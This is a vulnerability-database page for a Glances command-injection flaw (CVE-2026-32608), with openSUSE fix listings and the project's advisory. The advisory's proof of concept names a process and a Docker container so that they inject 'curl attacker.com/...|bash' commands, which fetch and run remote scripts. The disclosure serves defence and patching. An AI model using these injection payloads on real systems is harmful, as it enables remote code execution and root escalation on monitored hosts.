CVE-2026-32608
highpriority · track · 0EPSS 0.002 · 16 %ileDEEURUUSEPSS · scored 2026-10-27
Glances is an open-source system cross-platform monitoring tool. The Glances action system allows administrators to configure shell commands that execute when monitoring thresholds are exceeded. These commands support Mustache template variables (e.g., `{{name}}`, `{{key}}`) that are populated with runtime monitoring data. The `secure_popen()` function, which executes these commands, implements its own pipe, redirect, and chain operator handling by splitting the command string before passing each segment to `subprocess.Popen(shell=False)`. Prior to 4.5.2, when a Mustache-rendered value (such as a process name, filesystem mount point, or container name) contains pipe, redirect, or chain metacharacters, the rendered command is split in unintended ways, allowing an attacker who controls a process name or container name to inject arbitrary commands. Version 4.5.2 fixes the issue.
remediations
Vendor fix, mitigation, or workaround guidance, as published by each source.
A vendor fix is available.
- Fixedglances-common-0:4.5.2-1.1.aarch64 as component of openSUSE Tumbleweedsuse_csaf
To install this SUSE Security Update use the SUSE recommended installation methods like YaST online_update or "zypper patch".
- Fixedglances-common-0:4.5.2-1.1.ppc64le as component of openSUSE Tumbleweedsuse_csaf
To install this SUSE Security Update use the SUSE recommended installation methods like YaST online_update or "zypper patch".
- Fixedglances-common-0:4.5.2-1.1.s390x as component of openSUSE Tumbleweedsuse_csaf
To install this SUSE Security Update use the SUSE recommended installation methods like YaST online_update or "zypper patch".
- Fixedglances-common-0:4.5.2-1.1.x86_64 as component of openSUSE Tumbleweedsuse_csaf
To install this SUSE Security Update use the SUSE recommended installation methods like YaST online_update or "zypper patch".
- Fixedpython311-Glances-0:4.5.2-1.1.aarch64 as component of openSUSE Tumbleweedsuse_csaf
To install this SUSE Security Update use the SUSE recommended installation methods like YaST online_update or "zypper patch".
- Fixedpython311-Glances-0:4.5.2-1.1.ppc64le as component of openSUSE Tumbleweedsuse_csaf
To install this SUSE Security Update use the SUSE recommended installation methods like YaST online_update or "zypper patch".
- Fixedpython311-Glances-0:4.5.2-1.1.s390x as component of openSUSE Tumbleweedsuse_csaf
To install this SUSE Security Update use the SUSE recommended installation methods like YaST online_update or "zypper patch".
- Fixedpython311-Glances-0:4.5.2-1.1.x86_64 as component of openSUSE Tumbleweedsuse_csaf
To install this SUSE Security Update use the SUSE recommended installation methods like YaST online_update or "zypper patch".
- Fixedpython313-Glances-0:4.5.2-1.1.aarch64 as component of openSUSE Tumbleweedsuse_csaf
To install this SUSE Security Update use the SUSE recommended installation methods like YaST online_update or "zypper patch".
- Fixedpython313-Glances-0:4.5.2-1.1.ppc64le as component of openSUSE Tumbleweedsuse_csaf
To install this SUSE Security Update use the SUSE recommended installation methods like YaST online_update or "zypper patch".
- Fixedpython313-Glances-0:4.5.2-1.1.s390x as component of openSUSE Tumbleweedsuse_csaf
To install this SUSE Security Update use the SUSE recommended installation methods like YaST online_update or "zypper patch".
- Fixedpython313-Glances-0:4.5.2-1.1.x86_64 as component of openSUSE Tumbleweedsuse_csaf
To install this SUSE Security Update use the SUSE recommended installation methods like YaST online_update or "zypper patch".
cvss
Technical severity, 0–10. One row per scoring source.
base score 0–10 · higher = more severe · hover a vector to decode⚠ sources disagree · medium–high · 6.4–7
ssvc
A stakeholder decision — act, attend, or track — from exploitation and impact.
weaknesses
The CWE weakness classes this flaw belongs to.
affected products (5)
Products and version ranges known to be affected.
advisories (3)
Vendor and ecosystem advisories describing this.
- openSUSE-SU-2026:10415-1glances-common-4.5.2-1.1 on GA media2026-03-24csaf · suse_csafDE
glances-common-4.5.2-1.1 on GA media
- GHSA-vcv2-q258-wrg7Glances has a Command Injection via Process Names in Action Command Templates2026-03-16ghsa · osvUS
## Summary The Glances action system allows administrators to configure shell commands that execute when monitoring thresholds are exceeded. These commands support Mustache template variables (e.g., `{{name}}`, `{{key}}`) that are populated with runtime monitoring data. The `secure_popen()` function, which executes these commands, implements its own pipe, redirect, and chain operator handling by splitting the command string before passing each segment to `subprocess.Popen(shell=False)`. When a Mustache-rendered value (such as a process name, filesystem mount point, or container name) contains pipe, redirect, or chain metacharacters, the rendered command is split in unintended ways, allowing an attacker who controls a process name or container name to inject arbitrary commands. ## Details **The action execution flow:** 1. Admin configures an action in glances.conf (documented feature): ```ini [cpu] critical_action=echo "High CPU on {{name}}" | mail admin@example.com ``` 2. When the threshold is exceeded, the plugin model renders the template with runtime stats (glances/plugins/plugin/model.py:943): ```python self.actions.run(stat_name, trigger, command, repeat, mustache_dict=mustache_dict) ``` 3. The mustache_dict contains the full stat dictionary, including user-controllable fields like process name, filesystem mnt_point, container name, etc. (glances/plugins/plugin/model.py:920-943). 4. In glances/actions.py:77-78, the Mustache library renders the template: ```python if chevron_tag: cmd_full = chevron.render(cmd, mustache_dict) ``` 5. The rendered command is passed to secure_popen() (glances/actions.py:84): ```python ret = secure_popen(cmd_full) ``` **The secure_popen vulnerability** (glances/secure.py:17-30): ```python def secure_popen(cmd): ret = "" for c in cmd.split("&&"): ret += __secure_popen(c) return ret ``` And __secure_popen() (glances/secure.py:33-77) splits by > and | then calls Popen(sub_cmd_split, shell=False) for each segment. The function splits the ENTIRE command string (including Mustache-rendered user data) by &&, >, and | characters, then executes each segment as a separate subprocess. Additionally, the redirect handler at line 69-72 writes to arbitrary file paths: ```python if stdout_redirect is not None: with open(stdout_redirect, "w") as stdout_redirect_file: stdout_redirect_file.write(ret) ``` ## PoC **Scenario 1: Command injection via pipe in process name** ```bash # 1. Admin configures processlist action in glances.conf: # [processlist] # critical_action=echo "ALERT: {{name}} used {{cpu_percent}}% CPU" >> /tmp/alerts.log # 2. Attacker creates a process with a crafted name containing a pipe: cp /bin/sleep "/tmp/innocent|curl attacker.com/evil.sh|bash" "/tmp/innocent|curl attacker.com/evil.sh|bash" 9999 & # 3. When the process triggers a critical alert, secure_popen splits by |: # Command 1: echo "ALERT: innocent # Command 2: curl attacker.com/evil.sh <-- INJECTED # Command 3: bash used 99% CPU" >> /tmp/alerts.log ``` **Scenario 2: Command chain via && in container name** ```bash # 1. Admin configures containers action: # [containers] # critical_action=docker stats {{name}} --no-stream # 2. Attacker names a Docker container with && injection: docker run --name "web && curl attacker.com/rev.sh | bash && echo " nginx # 3. secure_popen splits by &&: # Command 1: docker stats web # Command 2: curl attacker.com/rev.sh | bash <-- INJECTED # Command 3: echo --no-stream ``` ## Impact - **Arbitrary command execution:** An attacker who can control a process name, container name, filesystem mount point, or other monitored entity name can execute arbitrary commands as the Glances process user (often root). - **Privilege escalation:** If Glances runs as root (common for full system monitoring), a low-privileged user who can create processes can escalate to root. - **Arbitrary file write:** The > redirect handling in secure_popen enables writing arbitrary content to arbitrary file paths. - **Preconditions:** Requires admin-configured action templates referencing user-controllable fields + attacker ability to run processes on monitored system. ## Recommended Fix Sanitize Mustache-rendered values before secure_popen processes them: ```python # glances/actions.py def _escape_for_secure_popen(value): """Escape characters that secure_popen treats as operators.""" if not isinstance(value, str): return value value = value.replace("&&", " ") value = value.replace("|", " ") value = value.replace(">", " ") return value def run(self, stat_name, criticality, commands, repeat, mustache_dict=None): for cmd in commands: if chevron_tag: if mustache_dict: safe_dict = { k: _escape_for_secure_popen(v) if isinstance(v, str) else v for k, v in mustache_dict.items() } else: safe_dict = mustache_dict cmd_full = chevron.render(cmd, safe_dict) else: cmd_full = cmd ... ```
- PYSEC-2026-21672026-03-18vendor · osvUS
Glances is an open-source system cross-platform monitoring tool. The Glances action system allows administrators to configure shell commands that execute when monitoring thresholds are exceeded. These commands support Mustache template variables (e.g., `{{name}}`, `{{key}}`) that are populated with runtime monitoring data. The `secure_popen()` function, which executes these commands, implements its own pipe, redirect, and chain operator handling by splitting the command string before passing each segment to `subprocess.Popen(shell=False)`. Prior to 4.5.2, when a Mustache-rendered value (such as a process name, filesystem mount point, or container name) contains pipe, redirect, or chain metacharacters, the rendered command is split in unintended ways, allowing an attacker who controls a process name or container name to inject arbitrary commands. Version 4.5.2 fixes the issue.
also known as (7)
Other names and identifiers for this entity.
sources
Which sources assert this record, and when.
references (12)
External citations — patches, advisories, analysis.
- https://access.redhat.com/security/cve/cve-2026-32608cnnvd
- https://cxsecurity.com/issue/WLB-2026030026cnnvd
- https://github.com/nicolargo/glances/commit/6f4ec53d967478e69917078e6f73f448001bf107cnnvd
- https://github.com/nicolargo/glances/releasesPatchcnnvd
- https://github.com/nicolargo/glances/releases/tag/v4.5.2cnnvd
- https://github.com/nicolargo/glances/security/advisories/GHSA-vcv2-q258-wrg7cnnvd
- https://github.com/nicolargo/glances/commit/6f4ec53d967478e69917078e6f73f448001bf107enisa_euvd
- https://github.com/nicolargo/glances/releases/tag/v4.5.2enisa_euvd
Attackers weaponise vulnerabilities like this against internet-exposed services. See what is exposed on your perimeter with a free passive scan.
Free scan